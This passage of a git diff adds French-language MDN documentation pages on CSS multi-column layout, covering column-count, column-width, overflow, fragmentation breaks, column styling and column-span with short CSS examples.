+   <li>{{cssxref("outline-color")}},</li>
+   <li>{{cssxref("text-decoration-color")}},</li>
+   <li>{{cssxref("text-emphasis-color")}},</li>
+   <li>{{cssxref("text-shadow")}},</li>
+   <li>{{cssxref("caret-color")}},</li>
+   <li>{{cssxref("column-rule-color")}}</li>
+  </ul>
+ </li>
+ <li>En CSS, les dégradés ne sont pas des couleurs mais des <a href="/fr/docs/Web/CSS/CSS_Images">images</a>.</li>
+</ul>
diff --git a/files/fr/web/css/css_columns/concepts_base_multi-colonnes/index.html b/files/fr/web/css/css_columns/concepts_base_multi-colonnes/index.html
new file mode 100644
index 0000000000..2032e1c2c6
--- /dev/null
+++ b/files/fr/web/css/css_columns/concepts_base_multi-colonnes/index.html
@@ -0,0 +1,92 @@
+---
+title: Concepts de base pour la disposition multi-colonnes
+slug: Web/CSS/CSS_Columns/Concepts_base_multi-colonnes
+tags:
+  - CSS
+  - Guide
+translation_of: Web/CSS/CSS_Columns/Basic_Concepts_of_Multicol
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">La disposition sur plusieurs colonnes (« <em>Multiple-column Layout</em> » ou « <em>multicol</em> » en anglais) est un module de spécification pour organiser du contenu sur un ensemble de colonnes, à la façon des colonnes dans un journal imprimé. Dans ce guide, nous verrons comment fonctionne cette spécification et quelques cas d'exemples.</p>
+
+<h2 id="Concepts_et_terminologie">Concepts et terminologie</h2>
+
+<p>La disposition multi-colonnes se distinguent des autres dispositions CSS car elle fragmente le contenu, y compris les éléments descendants, en colonnes. Cela se produira de façon analogue en fragmentant sur des pages avec le module de spécification <a href="/fr/docs/Web/CSS/CSS_Pages">CSS Paged Media</a>.</p>
+
+<p>Les propriétés définies dans cette spécification sont :</p>
+
+<ul>
+ <li>{{cssxref("column-width")}}</li>
+ <li>{{cssxref("column-count")}}</li>
+ <li>{{cssxref("columns")}}</li>
+ <li>{{cssxref("column-rule-color")}}</li>
+ <li>{{cssxref("column-rule-style")}}</li>
+ <li>{{cssxref("column-rule-width")}}</li>
+ <li>{{cssxref("column-rule")}}</li>
+ <li>{{cssxref("column-span")}}</li>
+ <li>{{cssxref("column-fill")}}</li>
+ <li>{{cssxref("column-gap")}}</li>
+</ul>
+
+<p>En ajoutant <code>column-count</code> ou <code>column-width</code> à un élément, on le transforme en conteneur multi-colonnes. Les colonnes sont des boîtes anonymes et sont décrites comme des « boîtes de colonne » dans la spécification.</p>
+
+<h2 id="Definir_des_colonnes">Definir des colonnes</h2>
+
+<p>Afin de créer un conteneur multi-colonnes, il est nécessaire d'utiliser au moins une propriété <code>column-*</code> (<code>column-count</code> ou <code>column-width</code>).</p>
+
+<h3 id="La_propriété_column-count">La propriété <code>column-count</code></h3>
+
+<p>La propriété <code>column-count</code> définit le nombre de colonnes sur lesquelles on veut afficher le contenu. Le navigateur affectera l'espace nécessaire à chaque boîte de colonne afin d'en créer le nombre indiqué.</p>
+
+<p>Dans l'exemple qui suit, on utilise la propriété <code>column-count</code> afin de créer trois colonnes au sein de l'élément <code>.container</code>. Le contenu, y compris l'élément fils de <code>.container</code> est alors divisé en trois colonnes.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/multicol/basics/column-count.html", '100%', 550)}}</p>
+
+<p>Dans l'exemple qui précède, le contenu est intégré dans des paragraphes avec une mise en forme par défaut. Aussi, il y a une marge au dessus de chaque paragraphe. On peut voir comment cette marge décale la première ligne de texte vers le bas. Cela se produit car un conteneur multi-colonnes crée un nouveau contexte de formatage de bloc, ce qui signifie que les marges des éléments fils ne <a href="/fr/docs/Web/CSS/Modèle_de_boîte_CSS/Fusion_des_marges">fusionnent</a> pas avec les marges du conteneur.</p>
+
+<h3 id="La_propriété_column-width">La propriété <code>column-width</code></h3>
+
+<p>La propriété <code>column-width</code> est utilisé afin de définir la largeur optimale pour chaque boîte de colonne. Si on déclare une valeur pour <code>column-width</code>, le navigateur calculera combien de colonnes de cette taille peuvent être intégrées puis répartira l'espace supplémentaire équitablement entre les colonnes. Aussi mieux vaut-il voir <code>column-width</code> comme une largeur minimale plutôt que comme une largeur exacte, l'espace restant étant rajouté ensuite.</p>
+
+<p>Il existe un seul cas où la boîte de colonne peut être plus petite que <code>column-width</code> : lorsqu'il n'y a qu'une seule colonne et que l'espace disponible est inférieur à <code>column-width</code>.</p>
+
+<p>Dans l'exemple qui suit, on utilise la propriété <code>column-width</code> avec une valeur de 200px et on obtient donc autant de colonnes de 200 pixels que possible avec l'espace restant partagé équitablement entre les différentes colonnes.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/multicol/basics/column-width.html", '100%', 550)}}</p>
+
+<h3 id="Utiliser_column-count_et_column-width">Utiliser <code>column-count</code> et <code>column-width</code></h3>
+
+<p>Si on définit les deux propriétés pour un conteneur multi-colonnes, <code>column-count</code> agira comme un maximum pour le nombre de colonnes. Le comportement décrit avant pour <code>column-width</code> aura bien lieu, jusqu'à ce que le nombre de colonnes décrit par <code>column-count</code> soit atteint. Ensuite, aucune autre colonne ne sera ajoutée et l'espace restant sera réparti entre les colonnes existantes (et ce même si l'espace restant permettrait de rajouter une ou plusieurs colonnes de largeur <code>column-width</code>).</p>
+
+<p>Lorsqu'on utilise les deux propriétés ensemble, on peut obtenir un nombre de colonnes réel inférieur à la valeur fournie avec <code>column-count</code>.</p>
+
+<p>Dans l'exemple suivant, on utilise <code>column-width</code> avec une valeur de 200px et <code>column-count</code> avec une valeur de 2. S'il y a de l'espace pour plus de deux colonnes, on aura uniquement deux colonnes. S'il n'y a pas assez d'espace pour deux colonnes de 200 pixels, il n'y en aura qu'une.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/multicol/basics/column-count-width.html", '100%', 550)}}</p>
+
+<h3 id="La_propriété_raccourcie_columns">La propriété raccourcie <code>columns</code></h3>
+
+<p>La <a href="/fr/docs/Web/CSS/Propriétés_raccourcies">propriété raccourcie</a> <code>columns</code> peut être utilisée afin de définir à la fois <code>column-count</code> et <code>column-width</code>. Si on utilise une unité de longueur, la valeur sera utilisée pour <code>column-width</code>, si on utilise un entier, la valeur sera utilisée pour <code>column-count</code>. Les deux peuvent être définies simultanément en étant séparées d'un espace.</p>
+
+<p>Ce fragment de code CSS donnera donc le même résultat que pour le premier exemple où <code>column-count</code> vaut 3.</p>
+
+<pre>.container {
+  columns: 3;
+}</pre>
+
+<p>Ce fragment de code CSS donnera le même résultat que pour le deuxième exemple où <code>column-width</code> vaut <code>200px</code>.</p>
+
+<pre>.container {
+  columns: 200px;
+}</pre>
+
+<p>Enfin, ce fragment de code CSS donnera le même résultat que le troisième exemple où les deux propriétés <code>column-count</code> et <code>column-width</code> sont définies.</p>
+
+<pre>.container {
+  columns: 2 200px;
+}</pre>
+
+<h2 id="Prochaines_étapes">Prochaines étapes</h2>
+
+<p>Dans ce guide, nous avons vu des cas d'utilisation simples avec une disposition multi-colonnes. Dans le prochain article, nous verrons <a href="/fr/docs/Web/CSS/CSS_Columns/Styling_Columns">comment mettre en forme chacune des colonnes</a>.</p>
diff --git a/files/fr/web/css/css_columns/gestion_dépassement_multi-colonnes/index.html b/files/fr/web/css/css_columns/gestion_dépassement_multi-colonnes/index.html
new file mode 100644
index 0000000000..7dc6078442
--- /dev/null
+++ b/files/fr/web/css/css_columns/gestion_dépassement_multi-colonnes/index.html
@@ -0,0 +1,49 @@
+---
+title: Gestion du dépassement en multi-colonnes
+slug: Web/CSS/CSS_Columns/Gestion_dépassement_multi-colonnes
+tags:
+  - CSS
+  - Guide
+translation_of: Web/CSS/CSS_Columns/Handling_Overflow_in_Multicol
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Dans ce guide, nous verrons comment gérer le dépassement avec une disposition multi-colonnes. Le dépassement peut avoir lieu pour chaque boîte de colonne ou lorsqu'il y a plus de contenu que de place dans le conteneur.</p>
+
+<h2 id="Le_dépassement_dans_les_boîtes_des_colonnes">Le dépassement dans les boîtes des colonnes</h2>
+
+<p>On peut avoir un dépassement lorsqu'un objet est plus grand que la taille de la boîte de la colonne. Cela peut notamment se produire lorsqu'on a une image dans une colonne et que la largeur de cette image est supérieure à la valeur de <code>column-width</code> ou à la largeur des colonnes selon le nombre indiqué avec <code>column-count</code>.</p>
+
+<p>Dans cette situation, le contenu dépasse sur la prochaine colonne et n'est pas rogné à la boîte de la colonne. Voici un exemple qui suit et une illustration du résultat attendu (les navigateurs actuels pouvant afficher un résultat différent).</p>
+
+<p>{{EmbedGHLiveSample("css-examples/multicol/overflow/image.html", '100%', 800)}}</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16095/image-overflow-multicol.png" style="height: 328px; width: 800px;"></p>
+
+<p>Si on veut une image qui se réduise à la boîte de la colonne, on pourra utiliser les solutions pour les images adaptatives et <code>max-width: 100%</code> pour y parvenir.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/multicol/overflow/image-max-width.html", '100%', 800)}}</p>
+
+<h2 id="Plus_de_colonnes_que_d'espace_disponible">Plus de colonnes que d'espace disponible</h2>
+
+<p>La façon dont les colonnes dépassent dépend du contexte dans lequel le document est affiché : est-ce un média fragmenté (pour l'impression par exemple) ou un média continu (une page web par exemple) ?</p>
+
+<p>Pour un média fragmenté, une fois qu'un fragment (ex. une page) est rempli de colonnes, les colonnes suivantes seront ajoutées sur le fragment suivant (ex. une nouvelle page) et ainsi de suite. Pour les médias continus, les colonnes dépasseront selon l'axe en ligne. Pour le Web, cela signifie qu'on aura une barre de défilement horizontal.</p>
+
+<p>Dans l'exemple qui suit, on peut observer un tel dépassement. Le conteneur multi-colonnes possède une hauteur fixée et il y a plus de texte que d'espace nécessaire pour créer des colonnes. On a alors des colonnes créées en dehors du conteneur.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/multicol/overflow/overflow-inline.html", '100%', 800)}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> On peut souhaiter qu'une future version de la spécification permette de préciser la direction selon laquelle les colonnes qui dépassent sont affichées et ainsi pouvoir dépasser dans la direction de bloc (et non uniquement selon l'axe en ligne).</p>
+</div>
+
+<h2 id="Utiliser_les_requêtes_média_verticales">Utiliser les requêtes média verticales</h2>
+
+<p>Lorsque les colonnes sont plus hautes que la zone d'affichage (<em>viewport</em>), par défaut, le lecteur devra faire défiler le contenu verticalement pour tout voir, dégradant ainsi l'ergonomie. Pour éviter ce problème, on peut n'appliquer les colonnes que lorsque la hauteur est suffisante.</p>
+
+<p>Dans l'exemple qui suit, on utilise par exemple une requête média avec <code>min-height</code> pour vérifier la hauteur avant d'appliquer les propriétés relatives aux colonnes.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/multicol/overflow/min-height.html", '100%', 800)}}</p>
+
+<p>Dans le dernier guide de cette série, nous verrons <a href="/fr/docs/Web/CSS/CSS_Columns/Handling_content_breaks_in_multicol">comment la disposition multi-colonnes interagit avec le module de spécification Fragmentation</a> et nous permet de contrôler la façon dont le contenu est coupé entre les colonnes.</p>
diff --git a/files/fr/web/css/css_columns/gérer_rupture_contenu_entre_colonnes/index.html b/files/fr/web/css/css_columns/gérer_rupture_contenu_entre_colonnes/index.html
new file mode 100644
index 0000000000..909c9bd2a5
--- /dev/null
+++ b/files/fr/web/css/css_columns/gérer_rupture_contenu_entre_colonnes/index.html
@@ -0,0 +1,72 @@
+---
+title: Gérer la rupture du contenu entre les colonnes
+slug: Web/CSS/CSS_Columns/Gérer_rupture_contenu_entre_colonnes
+tags:
+  - CSS
+  - Guide
+translation_of: Web/CSS/CSS_Columns/Handling_content_breaks_in_multicol
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Le contenu est coupé entre les colonnes d'une disposition multi-colonnes de la même façon qu'il est coupé entre chaque page d'un média paginé. Dans ces deux contextes, la façon dont on contrôle l'emplacement et la coupure se paramètre grâce aux propriétés décrites dans le module de spécification <em>CSS Fragmentation</em>. Dans ce guide, nous verrons comment fonctionne la fragmentation en multi-colonnes.</p>
+
+<h2 id="Quelques_notions_de_bases_sur_la_fragmentation">Quelques notions de bases sur la fragmentation</h2>
+
+<p><a href="https://www.w3.org/TR/css-break-3/">Le module de spécification CSS Fragmentation </a>détaille la façon dont le contenu peut être coupé entre les conteneur de fragmentation. Pour une disposition multi-colonnes, le conteneur de fragmentation correspond à la boîte de colonne.</p>
+
+<p>Le contenu d'une boîte de colonne peut être varié et une coupure peut être malvenue à certains endroits. On préfèrerait par exemple qu'une légende ne soit pas séparée de l'image entre une colonne et la suivante. Les propriétés relatives à la fragmentation permettent de contrôler certains aspects de ces coupures.</p>
+
+<p>Voici plusieurs emplacements où on peut souhaiter contrôler les ruptures :</p>
+
+<ul>
+ <li>Les ruptures à l'intérieur des boîtes, par exemple à l'intérieur d'un élément <code>&lt;figure&gt;</code></li>
+ <li>Les ruptures avant et après les boîtes</li>
+ <li>Les ruptures entre les lignes</li>
+</ul>
+
+<h2 id="Les_ruptures_à_l'intérieur_des_boîtes">Les ruptures à l'intérieur des boîtes</h2>
+
+<p>Pour contrôler la façon dont le contenu est coupé à l'intérieur d'une boîte, on pourra utiliser la propriété {{cssxref("break-inside")}}. Cette propriété peut prendre les valeurs suivantes :</p>
+
+<ul>
+ <li><code>auto</code></li>
+ <li><code>avoid</code></li>
+ <li><code>avoid-page</code></li>
+ <li><code>avoid-column</code></li>
+ <li><code>avoid-region</code></li>
+</ul>
+
+<p>Dans l'exemple qui suit, on a appliqué <code>break-inside</code> sur l'élément <code>figure</code> afin d'éviter que la légende soit séparée de l'image.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/multicol/fragmentation/break-inside.html", '100%', 800)}}</p>
+
+<h2 id="Les_ruptures_avant_et_après_les_boîtes">Les ruptures avant et après les boîtes</h2>
+
+<p>Les propriétés {{cssxref("break-before")}} et {{cssxref("break-after")}} contrôlent respectivement les ruptures avant et après les éléments. Dans une disposition multi-colonnes, ces propriétés peuvent être utilisées avec les valeurs suivantes :</p>
+
+<ul>
+ <li><code>auto</code></li>
+ <li><code>avoid</code></li>
+ <li><code>avoid-column</code></li>
+ <li><code>column</code></li>
+</ul>
+
+<p>Avec l'exemple suivant, on force une rupture avant chaque élément de titre <code>h2</code>.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/multicol/fragmentation/break-before.html", '100%', 800)}}</p>
+
+<h2 id="Les_ruptures_entre_les_lignes">Les ruptures entre les lignes</h2>
+
+<p>On peut aussi utiliser les propriétés {{cssxref("orphans")}} et {{cssxref("widows")}}. La propriété  <code>orphans</code> contrôle le nombre de lignes qui restent à la fin d'un fragment et la propriété <code>widows</code> contrôle le nombre de lignes qui restent au début d'un fragment.</p>
+
+<p>Les propriétés <code>orphans</code> et <code>widows</code> prennent un entier comme valeur et qui indique le nombre de lignes à avoir à la fin ou au début d'un fragment. On notera que ces propriétés ne fonctionnent qu'à l'intérieur d'un conteneur de bloc (un paragraphe par exemple). Si le bloc contient un nombre de lignes inférieur au nombre précisé pour la propriété, toutes les lignes resteront groupées ensemble.</p>
+
+<p>Dans l'exemple ci-après, on utilise la propriété <code>orphans</code> pour contrôler le nombre de lignes conservées à la fin d'une colonne. Vous pouvez modifier la valeur afin de voir l'impact sur la rupture du contenu.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/multicol/fragmentation/orphans.html", '100%', 800)}}</p>
+
+<h2 id="Résultat_non_garanti">Résultat non garanti</h2>
+
+<p>Si on souhaite prévenir la rupture à de nombreux endroits, le navigateur sera quand même obligé de couper le contenu entre les colonnes. D'une certaine façon, ces propriétés agissent plutôt comme des suggestions envers le moteur que comme des ordres.</p>
+
+<p>De plus, la prise en charge de ces propriétés n'est pas la plus homogène possible entre les navigateurs. Vous pouvez vous référer aux tableaux de compatibilité des pages de chaque propriété pour en savoir plus. Dans la plupart des cas, mieux vaudra encore laisser gérer le système plutôt que d'avoir trop de ruptures aux endroits indésirables.</p>
diff --git a/files/fr/web/css/css_columns/index.html b/files/fr/web/css/css_columns/index.html
new file mode 100644
index 0000000000..b66e0686ea
--- /dev/null
+++ b/files/fr/web/css/css_columns/index.html
@@ -0,0 +1,97 @@
+---
+title: Colonnes CSS
+slug: Web/CSS/CSS_Columns
+tags:
+  - Aperçu
+  - CSS
+  - CSS Multi-column Layout
+  - Reference
+translation_of: Web/CSS/CSS_Columns
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>Les colonnes CSS</strong> (<em>CSS Multi-column Layout</em> en anglais) forment un module CSS qui définit le comportement d'une disposition en colonnes, qui permet de décrire comment le contenu doit être réparti entre les colonnes et qui détaille comment sont gérées les espaces et les règles entre les colonnes.</p>
+
+<h2 id="Exemple_simple">Exemple simple</h2>
+
+<p>Dans l'exemple qui suit, on applique la propriété {{cssxref("column-count")}}  sur l'élément qui possède la classe <code>container</code>. La valeur de la propriété <code>column-count</code> est <code>3</code>, et le contenu est donc arrangé entre trois colonnes de tailles égales.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/multicol/basics/column-count.html", '100%', 550)}}</p>
+
+<h2 id="Liens_avec_le_module_de_spécification_CSS_Fragmentation">Liens avec le module de spécification CSS Fragmentation</h2>
+
+<p>La disposition en colonnes est fortement liée aux <a href="/fr/docs/Web/CSS/CSS_Pages">média paginés</a> pour lesquels chaque colonne devient un fragment (de la même façon qu'une page imprimée devient un fragment d'un document). Aussi, les propriétés désormais définies dans le module de spécification <a href="/fr/docs/Web/CSS/CSS_Fragmentation">CSS Fragmentation</a> sont nécessaires afin de contrôler la façon dont le contenu est scindé entre les colonnes.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés_relatives_à_la_disposition_en_colonnes">Propriétés relatives à la disposition en colonnes</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("column-count")}}</li>
+ <li>{{cssxref("column-fill")}}</li>
+ <li>{{cssxref("column-gap")}}</li>
+ <li>{{cssxref("column-rule")}}</li>
+ <li>{{cssxref("column-rule-color")}}</li>
+ <li>{{cssxref("column-rule-style")}}</li>
+ <li>{{cssxref("column-rule-width")}}</li>
+ <li>{{cssxref("column-span")}}</li>
+ <li>{{cssxref("column-width")}}</li>
+ <li>{{cssxref("columns")}}</li>
+</ul>
+</div>
+
+<h3 id="Propriétés_relatives_à_la_fragmentation">Propriétés relatives à la fragmentation</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("break-after")}}</li>
+ <li>{{cssxref("break-before")}}</li>
+ <li>{{cssxref("break-inside")}}</li>
+ <li>{{cssxref("orphans")}}</li>
+ <li>{{cssxref("widows")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/CSS/CSS_Columns/Concepts_base_multi-colonnes">Concepts de base relatifs à la disposition en colonnes</a></dt>
+ <dd>Un aperçu du module de spécification CSS pour la disposition avec plusieurs colonnes.</dd>
+ <dt><a href="/fr/docs/Web/CSS/CSS_Columns/Mettre_en_forme_les_colonnes">Mettre en forme les colonnes</a></dt>
+ <dd>Comment utiliser les règles liées aux colonnes et gérer l'espace entre les colonnes.</dd>
+ <dt><a href="/fr/docs/Web/CSS/CSS_Columns/Répartir_entre_les_colonnes">Équilibrer le remplissement des colonnes</a></dt>
+ <dd>Comment répartir un élément sur plusieurs colonnes et comment contrôler la façon dont les colonnes sont remplies.</dd>
+ <dt><a href="/fr/docs/Web/CSS/CSS_Columns/Gestion_dépassement_multi-colonnes">Gérer le dépassement</a></dt>
+ <dd>Comprendre ce qui se produit quand un élément dépasse de la colonne à laquelle il appartient et ce qui se produit lorsqu'il y a trop de contenu pour un conteneur en colonnes.</dd>
+ <dt><a href="/fr/docs/Web/CSS/CSS_Columns/Gérer_rupture_contenu_entre_colonnes">Gérer la fragmentation du contenu en multi-colonnes</a></dt>
+ <dd>Une introduction au module de spécification CSS Fragmentation et à la façon dont le contenu est coupé entre les colonnes.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Multicol')}}</td>
+   <td>{{Spec2('CSS3 Multicol')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p>Les autres modules liées aux dispositions possibles en CSS :</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Disposition_des_boîtes_flexibles_CSS">Les boîtes flexibles (<em>flexbox</em>)</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout">Les grilles CSS (<em>CSS Grid</em>)</a></li>
+</ul>
diff --git a/files/fr/web/css/css_columns/mettre_en_forme_les_colonnes/index.html b/files/fr/web/css/css_columns/mettre_en_forme_les_colonnes/index.html
new file mode 100644
index 0000000000..0689060daf
--- /dev/null
+++ b/files/fr/web/css/css_columns/mettre_en_forme_les_colonnes/index.html
@@ -0,0 +1,48 @@
+---
+title: Mettre en forme les colonnes
+slug: Web/CSS/CSS_Columns/Mettre_en_forme_les_colonnes
+tags:
+  - CSS
+  - CSS Multi-column Layout
+  - Guide
+translation_of: Web/CSS/CSS_Columns/Styling_Columns
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Les boîtes de colonne créées au sein des conteneurs multi-colonnes sont des boîtes anonymes et leur mise en forme est donc limitée. Elle n'est toutefois pas inexistante. Dans ce guide nous verrons comment modifier l'espace entre les colonnes et comment mettre en forme une ligne entre les colonnes.</p>
+
+<h2 id="Peut-on_mettre_en_forme_les_boîtes_des_colonnes">Peut-on mettre en forme les boîtes des colonnes ?</h2>
+
+<p>Malheureusement, ce n'est pas possible actuellement. Il est impossible de cibler les boîtes anonymes des colonnes de quelque façon que ce soit. On ne peut donc pas changer la couleur d'arrière-plan d'une colonne donnée ou agrandir une colonne plus qu'une autre. De futures versions du module de spécification permettront peut-être de réaliser cela un jour mais nous devons pour le moment nous cantonner à paramétrer l'espacement entre les colonnes et à mettre en forme les lignes séparatrices entre les colonnes.</p>
+
+<h2 id="L'espaceement_la_propriété_column-gap">L'espaceement : la propriété <code>column-gap</code></h2>
+
+<p>L'espacement entre les colonnes est contrôlé par la propriété <code>column-gap</code>. Cette propriété était initialement définie dans le module de spécification <em>Multi-column Layout</em> mais est désormais définie dans le module de spécification <em><a href="/fr/docs/Web/CSS/CSS_Box_Alignment">Box Alignment</a></em> (dont le but est d'unifier la gestion des espacements entre les boîtes, que ce soit pour les colonnes ou pour d'autres types de disposition telles que <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">les grilles CSS</a>).</p>
+
+<p>Dans une disposition multi-colonne, la valeur initiale de la propriété <code>column-gap</code> est <code>1em</code>. Cela signifie que les colonnes ne se touchent pas les unes les autres. Pour les autres méthodes de disposition, la valeur initiale de <code>column-gap</code> est 0. Le mot-clé <code>normal</code> est une valeur qui permet d'obtenir un écart de 1em.</p>
+
+<p>Il est possible de modifier l'espacement en utilisant n'importe quelle unité de longueur pour <code>column-gap</code>. Dans l'exemple qui suit, on a ainsi paramétré <code>column-gap</code> avec la valeur 40px.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/multicol/styling/column-gap.html", '100%', 750)}}</p>
+
+<p>Les valeurs autorisées pour <code>column-gap</code> sont de type <code>&lt;length-percentage&gt;</code>, cela signifie que les pourcentages sont également autorisés. Lorsque de telles valeurs sont utilisées, elles sont calculées relativement à la largeur du conteneur multi-colonnes.</p>
+
+<h2 id="Créer_un_délimiteur_entre_les_colonnes_column-rule">Créer un délimiteur entre les colonnes : <code>column-rule</code></h2>
+
+<p>La spécification définit les propriétés <code>column-rule-width</code>, <code>column-rule-style</code> and <code>column-rule-color</code> et fournit une propriété raccourcie <code>column-rule</code>. Ces propriétés fonctionnent de la même façon que les propriétés relatives à la bordure. Toute valeur valide pour <code>border-style</code> pourra être utilisée pour <code>column-rule-style</code>.</p>
+
+<p>Ces propriétés sont appliquées à l'élément qui est le conteneur multi-colonnes. Aussi, toutes les colonnes disposeront du même délimiteur. Les lignes sont uniquement dessinées entre les colonnes et pas sur les bords extérieurs. Les lignes sont également uniquement dessinées entre les colonnes qui ont du contenu.</p>
+
+<p>Dans le prochain exemple, on a ajouté une ligne en pointillée, épaisse de 5 pixels et dont la couleur est <code>rebeccapurple</code>, sans utiliser la propriété raccourcie.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/multicol/styling/column-rule.html", '100%', 550)}}</p>
+
+<p>On notera que la ligne n'occupe pas d'espace supplémentaire. Autrement dit, une ligne plus épaisse ne « repoussera » pas les colonnes de part et d'autre. La ligne est superposée sur l'espace occupé par l'espacement entre les colonnes.</p>
+
+<p>Dans le prochain exemple, on utilise une ligne très large de 40 pixels et un espacement qui mesure uniquement 10 pixels. On peut alors voir que la ligne est dessinée sous le contenu des colonnes. Pour avoir un espace de chaque côté de la ligne, il faut avoir un espacement supérieur à 40 pixels.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/multicol/styling/column-rule-wide.html", '100%', 550)}}</p>
+
+<h2 id="Résumé">Résumé</h2>
+
+<p>Voici comment mettre en forme les colonnes avec les contraintes actuelles. Dans le prochain guide, nous verrons comment <a href="/fr/docs/Web/CSS/CSS_Columns/Spanning_Columns">propager les éléments du conteneur sur l'ensemble des colonnes</a>.</p>
diff --git a/files/fr/web/css/css_columns/répartir_entre_les_colonnes/index.html b/files/fr/web/css/css_columns/répartir_entre_les_colonnes/index.html
new file mode 100644
index 0000000000..d1116ebd7d
--- /dev/null
+++ b/files/fr/web/css/css_columns/répartir_entre_les_colonnes/index.html
@@ -0,0 +1,63 @@
+---
+title: Répartir et équilibrer le contenu entre les colonnes
+slug: Web/CSS/CSS_Columns/Répartir_entre_les_colonnes
+tags:
+  - CSS
+  - Guide
+translation_of: Web/CSS/CSS_Columns/Spanning_Columns
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Dans ce guide, nous verrons comment répartir les éléments sur plusieurs colonnes et comment contrôler le remplissage des colonnes.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Les fonctionnalités décrites dans cet article ne sont pas aussi bien prises en charge que celles décrites dans les deux articles précédents. Pour plus d'informations, nous vous invitons à vous référer aux tableaux de compatibilité à la fin des pages décrivant chacune des propriétés.</p>
+</div>
+
+<h2 id="Étendre_sur_plusieurs_colonnes">Étendre sur plusieurs colonnes</h2>
+
+<p>Afin qu'un élément s'étende sur plusieurs colonnes, on peut utiliser la propriété {{cssxref("column-span")}} avec la valeur <code>all</code>. Ainsi, l'élément concerné s'étendra sur l'ensemble des colonnes.</p>
+
+<p>N'importe quel élément descendant du conteneur multi-colonnes peut être étendu de cette façon, que ce soit un titre qui est un élément fils direct ou un titre contenu dans une section contenue dans le conteneur.</p>
+
+<p>Dans l'exemple qui suit, on a <code>column-span: all</code> appliqué sur l'élément <code>h2</code> qui s'étend ainsi sur toutes les colonnes.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/multicol/spanning/h2-span.html", '100%', 800)}}</p>
+
+<p>Dans ce deuxième exemple, le titre est à l'intérieur de l'élément {{HTMLElement("article")}} mais le contenu est bien réparti comme voulu.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/multicol/spanning/nested-h2-span.html", '100%', 800)}}</p>
+
+<p>Lorsqu'un élément est étendu, il brise le flux des colonnes et un nouvel ensemble de boîtes de colonnes sont créées. Ce n'est pas le contenu qui « reprend » sous l'élément étendu.</p>
+
+<h3 id="Les_limites_de_column-span">Les limites de <code>column-span</code></h3>
+
+<p>Avec la spécification de niveau 1, seules deux valeurs sont autorisées pour <code>column-span</code> : <code>none</code> qui est la valeur initiale et qui indique que l'élément ne s'étendra pas (il restera sur une colonne) et <code>all</code> qui indiquera que l'élément s'étendra sur l'ensemble des colonnes. Ainsi, on ne pourra pas étendre spécifiquement un élément sur deux ou trois colonnes.</p>
+
+<h3 id="Quelques_points_d'attention">Quelques points d'attention</h3>
+
+<p>Si l'élément qui s'étend est à l'intérieur d'un élément qui possède des marges, du remplissage et une bordure ou une couleur d'arrière-plan, on pourra avoir l'élément qui s'étend et qui recouvre le reste. Aussi, attention à bien gérer ce cas lorsqu'on étend un élément sur plusieurs colonnes.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/multicol/spanning/mpb-span.html", '100%', 800)}}</p>
+
+<p>De plus, si un élément qui s'étend sur les colonnes se retrouve plus loin dans le contenu, on peut avoir un comportement hasardeux s'il n'y a pas assez de contenu après l'élément étendu pour créer d'autres colonnes. Aussi, mieux vaudra utiliser <code>column-span</code> avec précaution pour éviter ces effets indésirables.</p>
+
+<h2 id="Équilibrer_et_remplir_les_colonnes">Équilibrer et remplir les colonnes</h2>
+
+<p>Lorsque toutes les colonnes possèdent environ la même quantité de contenu, on parle d'un ensemble équilibré. On pourra jouer sur le remplissage et l'équilibrage des colonnes lorsque la quantité de contenu est inférieure à la quantité d'espace fournie, notamment lorsque le conteneur a une hauteur donnée.</p>
+
+<p>La valeur initiale de la propriété {{cssxref("column-fill")}}, dans une disposition multi-colonnes, est <code>balance</code>. Cette valeur signifie que les colonnes doivent être aussi équilibrées que possible. Pour les contextes fragmentés tels que <a href="/fr/docs/Web/CSS/CSS_Pages">les médias paginés</a>, seul le dernier fragment est équilibré. Cela signifie que c'est sur la dernière page du document que l'ensemble des colonnes sera équilibré.</p>
+
+<p>La valeur <code>balance-all</code> permet quant à elle d'avoir des colonnes équilibrées sur l'ensemble des fragments (et pas uniquement sur le dernier).</p>
+
+<p>Dans cet exemple, on a des colonnes qui contiennent une image et du texte qui sont équilibrées. L'image ne peut pas être divisée et est placée dans la première colonne puis les colonnes suivantes contiennent du texte sur la même hauteur que l'image.</p>
+
